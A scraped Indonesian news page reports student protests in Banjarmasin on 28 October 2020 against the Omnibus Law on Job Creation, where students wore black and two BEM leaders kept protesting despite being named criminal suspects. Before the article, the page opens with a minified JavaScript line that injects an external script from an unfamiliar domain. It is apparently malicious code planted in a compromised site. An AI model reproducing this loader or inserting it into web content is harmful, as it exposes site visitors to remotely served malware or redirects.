(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

‘Kode Hitam’ Perlawanan BEM Kalsel Tolak UU Omnibus Law Cipta Kerja


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan mahasiswa kembali menunaikan janji turun ke jalan menolak UU Omnibus Law Cipta Kerja. Berbeda dari aksi sebelumnya, mereka menggunakan kode baju hitam sebagai wujud penolakan atas UU yang dinilai merugikan rakyat kecil.

Mereka menanggalkan untuk sementara jas almamater warna-warni sebagai identitas mahasiswa civitas akademika. Gelombang IV aksi ini dilakukan bertepatan pada peringatan Sumpah Pemuda, Rabu (28/10/2020).

Nasrul, salah satu peserta aksi mengatakan, alasan BEM Kalsel menggelar aksi dengan memakai seragam berbaju hitam tanpa memakai jas almamater adalah bertujuan kebersamaan.

“Akan tetapi aksi memakai seragam hitam melepas “almamater” ini tetap mengatasnamakan sebagai mahasiswa” ujarnya.

 

Mahasiswa menyampaikan penolakan Omnibus Law melalui orasi dengan mimbar bebas.

Meski sudah ditetapkan sebagai tersangka Koordinator Wilayah Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan (Kalsel), Ahdiat Zairullah dan Ahmad Renaldi tetap turun aksi.

Ahmad Renaldi dalam orasinya menyampaikan biarpun dirinya sudah ditetapkan menjadi tersangka akan tetap turun akasi dalam penolakan UU Cipta Kerja.

“Walaupun diri saya bersama Ahdiat sudah tetapkan sebagai tersangka dalam Pasal 218 KUHP, akan tetap turun aksi menyuarakan penolakan UU Cipta Kerja, ” tegasnya.

Di sisi lain, Ahdiat Zairullah menyampaikan orasi kekecawan yang disampaikan lewat janji Sumpah Pemuda.

Ia juga akan tetap menyuarakan kembali penolakan Undang-Undang (UU) Cipta Kerja, dan menuntut Presiden RI agar segera menerbitkan Perpu pencabutan Omnibus Law.

Aksi mahasiswa juga diwarnai berbagai spanduk perjuangan. Dimulai di depan Hotel A Banjarmasin simpang empat KFC jalan Lambung Mangkurat. Pada pukul 18.00 WITA, aksi mahasiswa sudah membubarkan diri dengan menyanyikan lagu Mengheningkan Cipta.
(Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

2 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

3 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

5 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

5 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

17 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

20 jam ago

This website uses cookies.